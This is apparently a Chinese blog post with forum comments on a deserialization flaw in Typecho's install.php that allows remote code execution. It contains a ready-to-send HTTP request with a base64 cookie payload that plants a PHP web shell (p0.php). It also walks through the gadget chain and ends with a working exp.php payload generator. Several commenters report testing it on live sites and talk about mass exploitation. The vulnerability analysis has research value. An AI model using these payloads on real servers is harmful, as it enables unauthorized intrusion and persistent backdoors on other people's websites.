Typecho install.php 反序列化导致任意代码执行
博客链接:http://p0sec.net/index.php/archives/114/
作者:p0
0x00 前言
听说了这个洞,吓得赶紧去看了一下自己的博客,发现自己当初安装完就把这个文件和install目录删了,看来当初自己安全意识还是可以滴 233
0x01 Payload
GET /typecho/install.php?finish=1 HTTP/1.1
Host: 192.168.211.169
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: __typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6NDp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo4OiJBVE9NIDEuMCI7czoyMjoiAFR5cGVjaG9fRmVlZABfY2hhcnNldCI7czo1OiJVVEYtOCI7czoxOToiAFR5cGVjaG9fRmVlZABfbGFuZyI7czoyOiJ6aCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6MTp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6NTc6ImZpbGVfcHV0X2NvbnRlbnRzKCdwMC5waHAnLCAnPD9waHAgQGV2YWwoJF9QT1NUW3AwXSk7Pz4nKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6NzoidHlwZWNobyI7fQ==
Referer:http://192.168.211.169/typecho/install.php
Connection: close
Upgrade-Insecure-Requests: 1
便会在网站根目录下生产一句话p0.php
,密码p0
0x02 反序列化可控点
install.php 288-235行
<?php else : ?>
<?php
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);
?>
第230行获取cookie中的__typecho_config
值base64解码,然后反序列化。想要执行,只需isset($_GET['finish'])
并且__typecho_config
存在值。
反序列化后232行把$config['adapter']
和$config['prefix']
传入Typecho_Db
进行实例化。然后调用Typecho_Db
的addServer
方法,调用Typecho_Config
实例化工厂函数对Typecho_Config
类进行实例化。
0x03 反序列化触发点
全局搜索__destruct()
和__wakeup()
:
只发现了两处__destruct()
,跟进去并没发现可利用的地方。
继续看Typecho_Db
类
构造方法,Db.php 114-135行
public function __construct($adapterName, $prefix = 'typecho_')
{
/** 获取适配器名称 */
$this->_adapterName = $adapterName;
/** 数据库适配器 */
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
if (!call_user_func(array($adapterName, 'isAvailable'))) {
throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");
}
$this->_prefix = $prefix;
/** 初始化内部变量 */
$this->_pool = array();
$this->_connectedPool = array();
$this->_config = array();
//实例化适配器对象
$this->_adapter = new $adapterName();
}
发现第120行对传入的$adapterName
进行了字符串的拼接操作。那么如果$adapterName
传入的是个实例化对象,就会触发该对象的__toString()
魔术方法。
全局搜索__toString()
:
发现三处,跟进,第一个发现并没有可以直接利用的地方。
跟进Typecho_Query
类的__toString()
魔术方法,Query.php 488-519行:
public function __toString()
{
switch ($this->_sqlPreBuild['action']) {
case Typecho_Db::SELECT:
return $this->_adapter->parseSelect($this->_sqlPreBuild);
case Typecho_Db::INSERT:
return 'INSERT INTO '
. $this->_sqlPreBuild['table']
. '(' . implode(' , ', array_keys($this->_sqlPreBuild['rows'])) . ')'
. ' VALUES '
. '(' . implode(' , ', array_values($this->_sqlPreBuild['rows'])) . ')'
. $this->_sqlPreBuild['limit'];
case Typecho_Db::DELETE:
return 'DELETE FROM '
. $this->_sqlPreBuild['table']
. $this->_sqlPreBuild['where'];
case Typecho_Db::UPDATE:
$columns = array();
if (isset($this->_sqlPreBuild['rows'])) {
foreach ($this->_sqlPreBuild['rows'] as $key => $val) {
$columns[] = "$key = $val";
}
}
return 'UPDATE '
. $this->_sqlPreBuild['table']
. ' SET ' . implode(' , ', $columns)
. $this->_sqlPreBuild['where'];
default:
return NULL;
}
}
第492行$this->_adapter
调用parseSelect()
方法,如果该实例化对象在对象上下文中调用不可访问的方法时触发,便会触发__call()
魔术方法。
全局搜索__call()
:
发现几处,挨个跟进发现Typecho_Plugin
类的__call()
魔术方法存在回调函数,Plugin.php 479-494行:
public function __call($component, $args)
{
$component = $this->_handle . ':' . $component;
$last = count($args);
$args[$last] = $last > 0 ? $args[0] : false;
if (isset(self::$_plugins['handles'][$component])) {
$args[$last] = NULL;
$this->_signal = true;
foreach (self::$_plugins['handles'][$component] as $callback) {
$args[$last] = call_user_func_array($callback, $args);
}
}
return $args[$last];
}
$component
是调用失败的方法名,$args
是调用时的参数。均可控,但是根据上文,$args
必须存在array('action'=>'SELECT')
,然后加上我们构造的payload,最少是个长度为2的数组,但是483行又给数组加了一个长度,导致$args
长度至少为3,那么call_user_func_array()
便无法正常执行。所以此路就不通了。
继续跟进Typecho_Feed
类的__toString()
魔术方法,Feed.php 340-360行
} else if (self::ATOM1 == $this->_type) {
$result .= '<feed xmlns="http://www.w3.org/2005/Atom"
xmlns:thr="http://purl.org/syndication/thread/1.0"
xml:lang="' . $this->_lang . '"
xml:base="' . $this->_baseUrl . '"
>' . self::EOL;
$content = '';
$lastUpdate = 0;
foreach ($this->_items as $item) {
$content .= '<entry>' . self::EOL;
$content .= '<title type="html"><![CDATA[' . $item['title'] . ']]></title>' . self::EOL;
$content .= '<link rel="alternate" type="text/html" href="' . $item['link'] . '" />' . self::EOL;
$content .= '<id>' . $item['link'] . '</id>' . self::EOL;
$content .= '<updated>' . $this->dateFormat($item['date']) . '</updated>' . self::EOL;
$content .= '<published>' . $this->dateFormat($item['date']) . '</published>' . self::EOL;
$content .= '<author>
<name>' . $item['author']->screenName . '</name>
<uri>' . $item['author']->url . '</uri>
</author>' . self::EOL;
第358行$item['author']
调用screenName
属性,如果该实例化对象用于从不可访问的属性读取数据,便会触发__get()
魔术方法。
全局搜索__get()
:
发现了几处,最终确定Typecho_Request
类存在可利用的地方
__get()
魔术方法调用get()
方法,Request.php 293-309行:
public function get($key, $default = NULL)
{
switch (true) {
case isset($this->_params[$key]):
$value = $this->_params[$key];
break;
case isset(self::$_httpParams[$key]):
$value = self::$_httpParams[$key];
break;
default:
$value = $default;
break;
}
$value = !is_array($value) && strlen($value) > 0 ? $value : $default;
return $this->_applyFilter($value);
}
308行调用_applyFilter()
方法,传入的$value
是$this->_params[$key]
的值,$key
就是screenName
。
跟进_applyFilter()
,Request.php 159-171行:
private function _applyFilter($value)
{
if ($this->_filter) {
foreach ($this->_filter as $filter) {
$value = is_array($value) ? array_map($filter, $value) :
call_user_func($filter, $value);
}
$this->_filter = array();
}
return $value;
}
第163行array_map
和164行call_user_func
均可造成任意代码执行。
0x04 构造Payload
Payload:exp.php
<?php
class Typecho_Feed{
private $_type = 'ATOM 1.0';
private $_charset = 'UTF-8';
private $_lang = 'zh';
private $_items = array();
public function addItem(array $item){
$this->_items[] = $item;
}
}
class Typecho_Request{
private $_params = array('screenName'=>'file_put_contents(\'p0.php\', \'<?php @eval($_POST[p0]);?>\')');
private $_filter = array('assert');
}
$payload1 = new Typecho_Feed();
$payload2 = new Typecho_Request();
$payload1->addItem(array('author' => $payload2));
$exp = array('adapter' => $payload1, 'prefix' => 'typecho');
echo base64_encode(serialize($exp));
如有错误请指出
TCV=0.1
评论41次
commit 23b87aeb ,祁宁在 2014-04-08 22:43:32 点提交,祁宁 其实就是 joyqi,而joyqi是typecho的核心开发者,他把这段代码在 2014-04-08 写好后直接提交在了master中,查看 v0.9-14.5.25 的releases,其中已经包含了这段代码,也就是说,这段代码形似后门的代码由核心开发者提交后,存在了三年半的时间,都没有任何人发现。。。。那么究竟是谁添加的这段鸡儿用没有,但是谁都看不出来的代码呢。。。。。可能是14年的时候 joyqi 对账号被人黑掉了吧,也或许,这真的是开发者的一时手滑。细思恐极。
什么鬼
测试一波去
commit 23b87aeb ,祁宁在 2014-04-08 22:43:32 点提交,祁宁 其实就是 joyqi,而joyqi是typecho的核心开发者,他把这段代码在 2014-04-08 写好后直接提交在了master中,查看 v0.9-14.5.25 的releases,其中已经包含了这段代码,也就是说,这段代码形似后门的代码由核心开发者提交后,存在了三年半的时间,都没有任何人发现。。。。 那么究竟是谁添加的这段鸡儿用没有,但是谁都看不出来的代码呢。。。。。可能是14年的时候 joyqi 对账号被人黑掉了吧,也或许,这真的是开发者的一时手滑。细思恐极。
测试了一波 txt成功写入 目标站有安全狗 过狗一句话风波估计又得开始了
现在大犇们挖洞怎么挖? 是先找关键字段 然后反向找执行路子 还是一个文件一个文件读 读到有问题再找路子。
这个漏洞据说几年前就埋下了,测试一波大佬们的blog
批量又要开始了
用typecho的用户群体在哪里,搞这站没什么意义
批量又要开始了
测了几个,都不能执行命令的,大都是虚拟空间,批量意义不大了
批量又要开始了
0.9以后的版本都通过
感觉有点像是cms作者故意留下的后门吧。这个反序列化代码原有的功能逻辑是什么有点没看懂
前几步安装的配置,如表的前缀,选择数据库模式等
先知转贴的
亲测可以搞。。啥时候出来的
感觉有点像是cms作者故意留下的后门吧。 这个反序列化代码原有的功能逻辑是什么 有点没看懂
表哥测试的是什么版本的呢?搜索了几个都没有复现,发包后就没回。。。
这个是没有回显的,因为install.php中有ob_start()。
表哥测试的是什么版本的呢?搜索了几个都没有复现,发包后就没回。。。
发这个漏洞的作者把整个博客都删除了。。
代码审计还是厉害。马克一下,学xi下
测试了几个站点大部分都把install删除了
幸好没有用这个 虽然WordPress漏洞多,但是更新快,也不怕